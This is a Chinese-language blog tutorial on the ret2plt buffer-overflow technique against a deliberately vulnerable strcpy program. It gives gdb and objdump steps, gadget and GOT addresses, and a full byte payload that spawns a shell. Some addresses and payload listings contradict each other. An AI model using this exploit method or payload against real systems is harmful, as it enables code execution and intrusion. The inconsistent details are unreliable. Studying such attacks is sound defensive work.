背景
前面介绍ret2libc攻击技术,原理很简单,只需要将system函数的地址填充到eip的位置,然后再把”/bin/bash”地址填充到eip + 8的位置即可以实现攻击。
很快安全专家提出了ASCII armoring保护机制。该方法完全为抵抗ret2libc攻击方法而生。既然ret2libc需要将system函数地址填充到栈上,那ASCII armoring就想办法让libc所有函数的地址都包含一个零字节(NULL byte),让strcpy拷贝函数在遇到零地址时结束拷贝,攻击失败。
尽管有了ASCII armoring机制,但很快安全人员发现一种新攻击方法,可以攻破它,这个方法称为ret2plt。在介绍ret2plt之前,我们先简单介绍一下什么是plt。
ELF的姐妹花plt与got
PLT全称为Procedure Linkage Table,中文为链接过程表,它与动态库的动态链接过程息息相关。提到PLT就不得不要提及GOT,GOT全移为Global Offset Table。plt和got是调用动态库函数的重要过程。
为了方便讨论 plt和got,我们将今晚的主角代码请出场(stack4.c)
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
printf("strcpy %s\n", input);
printf("strcpy done\n");
}
int main(int argc, char *argv[]) {
evilfunction(argv[1]);
return 0;
}
编译
gcc -Wall -g -o stack4 stack4.c -fno-stack-protector -m32
眼尖读者会想到,上述代码中的strcpy和printf函数都是glibc库里面,glibc动态库的运行地址是运行时动态加载才能确定的,编译时是不知道它的真实地址的,那编译器是怎么解决的呢?
ELF规范使用PLT和GOT技术解决动态重定位过程,每个动态库函数(上述的strcpy和printf)都有段PLT桩代码和一个GOT项。
PLT桩代码用于引导调用者跳到动态链接器(ld-linux.so.2),而GOT项则存该函数动态重定位完成之后找到的真正地址。
以上代码为样本,以一张图来显示printf/strcpy函数的 PLT以及GOT的关系。
如果有机会可再写一篇详细介绍PLT和GOT的文章,在里面只做简单的介绍。
PLT表是由多个PLT表项组成,其中第一项是公共项,剩下是每个动态库函数一项,每项由3条指令组成(具体X86和ARM不同,上图为X86版本)。
GOT表也是由多个GOT表项组成,前面有3项个公共项,剩下的是每个动态库函数一项,动态库项存放的是动态库加载之后该函数的真正地址。
对于已经找到真正地址的动态库函数来说,它的GOT表存放真正地址(上图中展示的情况是还未找它的真正地址),它的调用过程非常简单,以evilfunction函数调用strcpy函数为例,就是执行上图中的1,2,3这三步,就执行到strcpy函数内部。
但是任何一个动态库函数调用,它的第一次调用,GOT表项还没有存放它的真正地址,它需要在这一次调用中做两个事情1)通过动态链接找到该函数地址填到GOT表项中,2)再调用。
第2)步调用与已经重定位好的函数调用没有两样,下面简单说一下第1)步。还是以strcpy函数为例:它的GOT项为上图中标示为3的项,编译器在静态链接中,无法知道strcpy的运行地址,所以它的GOT内空指向了strcpy PLT表项中的第二条指令(上图标4),然后跳到公共PLT表项(上图6和7),最后根据GOT第3公共项(上图标8)跳到动态链接器的符号查找函数将strcpy的函数找到,并将地址写到它对应的GOT表项。它的完整过程就是上图中1->2->3->4->5->6->7->8过程。
后面会讲述如何利用PLT和GOT进行攻击,只需了解如下要点即可:
1)evilfunction函数只需要知该函数对应的PLT桩地址即可以调用,其它事情由PLT和GOT处理,evilfunction不需要感知实现细节
2)GOT表项保存动态库函数的地址。
ret2plt攻击路思
ret2libc攻击方法的的要点就是将system和”/bin/bash”两个地址注入到栈中,但是ASCII armoring让system地址产生了零字节,无法进行同样的攻击。
那该如何处理?安全专家想到了一个非常有技巧性的方法,就是能否不直接拷贝system函数的地址,而是通过不同的内存空间拼凑而产生system的地址。这样产生了两个问题
- 有什么技巧可以多次拼凑成system函数地址
- 该地址应该在什么地址比较适合
对于第一点,想到了一个叫RRP(pop; pop; ret)指令序列可以将多个strcpy函数调用串起来。
对于第二点,有一个比较不依赖于libc空间的地址,即就是GOT表项。
因此,ret2plt的攻击思想就是:通过多次strcpy函数,拼凑出system函数地址放到某个GOT表中,然后通过GOT来调用system函数。它的栈结构和执行过程如图所示:
整个过程最为巧妙的过程就是利用PPR(pop, pop, ret指令顺序首地址)技巧,使用可以将高地址的两个参数出栈,再执行下一个strcpy函数。
攻击过程
根据上图的栈结构,需要找到如下的地址:
1. strcpy的plt地址
2. PPR指令序列地址
3. system函数地址,并且找到4个地址分别包含system[0], system[1], system[2]和system[3]
4. puts的got地址
5. puts的plt地址
6. “/bin/bash”字符串地址
对准eip位置
gdb ./stack4
(gdb) r “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”
Starting program: /home/ivan/exploit/stack4 “$(perl -e ‘print “A”x524 . “BBBB” . “”’)”
strcpy
strcpy done
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
显然第524字节之后就可以对准EIP了。
strcpy的PLT地址
(gdb) disassemble evilfunction
Dump of assembler code for function evilfunction:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: sub $0x218,%esp
0x0804844d <+9>: mov 0x8(%ebp),%eax
0x08048450 <+12>: mov %eax,0x4(%esp)
0x08048454 <+16>: lea -0x208(%ebp),%eax
0x0804845a <+22>: mov %eax,(%esp)
0x0804845d <+25>: call 0x8048350 <strcpy@plt>
0x08048462 <+30>: mov $0x8048580,%eax
0x08048467 <+35>: mov 0x8(%ebp),%edx
0x0804846a <+38>: mov %edx,0x4(%esp)
0x0804846e <+42>: mov %eax,(%esp)
0x08048471 <+45>: call 0x8048340 <printf@plt>
0x08048476 <+50>: movl $0x804858b,(%esp)
0x0804847d <+57>: call 0x8048360 <puts@plt>
0x08048482 <+62>: leave
0x08048483 <+63>: ret
End of assembler dump.
直接反编译evilfunction可直接获取strcpy的PLT地址为0x08048350。
PPR指令地址
使用objdump -d stack4命令输出汇编指令,然后查找pop/pop/ret指令顺序,结果如下:
8048412: 5b pop %ebx
8048413: 5d pop %ebp
8048414: c3 ret
因此PPR的地址为: 0x08048412。
system[0..3]地址
由于 ASCII armoring机制,system的地址含有零字节,造成strcpy拷贝结束,达不到预期的攻击效果。攻击者想到ret2plt攻击方法,就是找到4个地址空间,它的首字节分别是system地址的第一个byte, 第二个byte,第三个byte和第四个byte,然后一个个byte拷贝,将这4个byte拼凑到GOT里面。从而绕过直接拷贝system地址造成失败。
system地址
ASCII armoring特性是Redhat开发的,只在Redhat Server和 Fodera上才有,Ubuntu上没有该安全特性。本测试是在Ubuntu上进行的,它的system地址不包含零字节,本可以直接使用ret2libc进行攻击的。但为了展示ret2plt攻击方法的高超技巧,还得值得跟大家分享的。
(gdb) p system
$1={<text variable, no debug info>} 0xf7e5ce80 <system>
system的址为0xf5e5ce80
找到4个地址首字节包含system的byte
对于字节查找gdb提供了find命令,可以对某一段内存空间上查找某些字节或者字内容。
那该在哪些空间查找呢,为了攻击更准确,可以只在镜像内存空间上查找,gdb提供了info file命令,查看进程空间布局:
(gdb) info file
Symbols from “/home/ivan/exploit/stack4”.
Unix child process:
Using the running image of child process 4883.
While running this, GDB does not access memory from…
Local exec file:
`/home/ivan/exploit/stack4’, file type elf32-i386.
Entry point: 0x8048390
0x08048154 - 0x08048167 is .interp
0x08048168 - 0x08048188 is .note.ABI-tag
0x08048188 - 0x080481ac is .note.gnu.build-id
0x080481ac - 0x080481cc is .gnu.hash
0x080481cc - 0x0804823c is .dynsym
0x0804823c - 0x08048294 is .dynstr
0x08048294 - 0x080482a2 is .gnu.version
0x080482a4 - 0x080482c4 is .gnu.version_r
0x080482c4 - 0x080482cc is .rel.dyn
0x080482cc - 0x080482f4 is .rel.plt
0x080482f4 - 0x08048322 is .init
0x08048330 - 0x08048390 is .plt
0x08048390 - 0x0804855c is .text
0x0804855c - 0x08048576 is .fini
0x08048578 - 0x08048597 is .rodata
0x08048598 - 0x080485d4 is .eh_frame_hdr
0x080485d4 - 0x080486b8 is .eh_frame
0x08049f14 - 0x08049f1c is .ctors
0x08049f1c - 0x08049f24 is .dtors
0x08049f24 - 0x08049f28 is .jcr
0x08049f28 - 0x08049ff0 is .dynamic
0x08049ff0 - 0x08049ff4 is .got
0x08049ff4 - 0x0804a014 is .got.plt
0x0804a014 - 0x0804a01c is .data
0x0804a01c - 0x0804a024 is .bss
0xf7fdc114 - 0xf7fdc138 is .note.gnu.build-id in /lib/ld-linux.so.2
0xf7fdc138 - 0xf7fdc1f4 is .hash in /lib/ld-linux.so.2
0xf7fdc1f4 - 0xf7fdc2d4 is .gnu.hash in /lib/ld-linux.so.2
0xf7fdc2d4 - 0xf7fdc494 is .dynsym in /lib/ld-linux.so.2
0xf7fdc494 - 0xf7fdc612 is .dynstr in /lib/ld-linux.so.2
0xf7fdc612 - 0xf7fdc64a is .gnu.version in /lib/ld-linux.so.2
0xf7fdc64c - 0xf7fdc714 is .gnu.version_d in /lib/ld-linux.so.2
从第一个段,到BSS段都属于镜像内存,使用find命令在此空间内查找system地址的4个byte。注意:由于system地址最终要拷贝到got表,X86是小端字节序,因此先要拷贝低位字节,即拷贝顺序是: 0x80, 0xce, 0xe5, 0xf7。依此顺序4个byte的find命令的如果如下:
(gdb) find /b 0x08048154, 0x08049f24, 0x80
0x80483c7 <__do_global_dtors_aux+7>
(gdb) find /b 0x08048154, 0x0804a024, 0xee
0x804845e <evilfunction+26>
(gdb) find /b 0x08048154, 0x0804a024, 0xe5
0x80483c2 <__do_global_dtors_aux+2>
(gdb) find /b 0x08048154, 0x0804a024, 0xf7
0x8049f6f
4地址分别是:0x80483c7, 0x804845e ,0x80483c2,0x8049f6f
puts的plt地址和got地址
其实只需要把system地址拼凑到got表项即可,不一定是需要puts函数的got表项。但有另一点需要注意的是,上面查找到首字节分别包含 0x80, 0xce, 0xe5, 0xf7的地址空间,它的第二字节不一定是0x00,即字符串结束符。那么strcpy在做地址拼凑拷贝时,会拷贝多个字节,甚至把下一个got都覆盖了。因此在选项目标got时,它的地址一定要在strcpy got地址的后面,否则strpcy got一旦被修改后,strcpy的调用会失效,这就是本文选择 puts got的原因。
通过gdb反编译evilfunction可找到它的plt地址,沿着plt指令可以找到got地址,分别如下:
[email protected] = 0x08048360
[email protected] = 0x0804a008
“/bin/bash”字符串地址
根据前面介绍的方法,可以在攻击向量中包含”/bin/bash”字符串,然后计算它对应的栈地址,也就找到了。
其实,Linux里面有个shell环境变量,表示前使用哪个shell,它的值通常是”/bin/bash”,如下:
$ env | grep -i shell
SHELL=/bin/bash
每个进程的环境变量都保存在主线程的栈上,因此可以在主线程栈空间上找到该字符串。由于本文的代码为单线程 ,因此可以沿着esp地址往上找即可:
(gdb) x/1000s $esp
…
0xffffd8b4: “/home/ivan/exploit/stack4”
0xffffd8ce: “SHELL=/bin/bash”
0xffffd8de: “TERM=xterm”
…
因此”/bin/bash”字符串地址为0xffffd8ce + 6 = 0xffffd8d4
形成攻击向量
其实图2已有攻击结构,内容如下:
[email protected] + PPR + [email protected][0] + addr of system[0]
[email protected] + PPR + [email protected][1] + addr of system[1]
[email protected] + PPR + [email protected][2] + addr of system[2]
[email protected] + PPR + [email protected][3] + addr of system[3]
[email protected] + exit + addr of “/bin/bash”
根据上面使用gdb一步步找到的内容往上填,即可形成攻击向量:
“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x08\xa0\x04\x08” . “\xc7\x83\x04\x08” .
“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0a\xa0\x04\x08” . “\xc2\x83\x04\x08” .
“\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0b\xa0\x04\x08” . “\x6f\x9f\x04\x08” .
“\x60\x83\x04\x08” . “\x60\x2b\xe5\xf7” . “\xd4\xd8\xff\xff”
测试
./stack4"(perl -e ‘print “A”x524 . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x08\xa0\x04\x08” . “\xc7\x83\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x09\xa0\x04\x08” . “\x5e\x84\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0a\xa0\x04\x08” . “\xc2\x83\x04\x08” . “\x50\x83\x04\x08” . “\x12\x84\x04\x08” . “\x0b\xa0\x04\x08” . “\x6f\x9f\x04\x08” . “\x60\x83\x04\x08” . “\x60\x2b\xe5\xf7” . “\xd4\xd8\xff\xff”’)”
strcpy []ít&
strcpy done
$
成功打开一个新bash,测试通过。
小结
ret2plt攻击难度比之前的ret2lic攻击方法难度高很多,对于入门者来说,很难一次攻击成功,需要不停地使用gdb调用,才能最终成功。测试时需要多用gdb进行分析攻击向量哪里搞错了。
版权声明:本文为博主原创文章,承蒙转载请注明作者和出处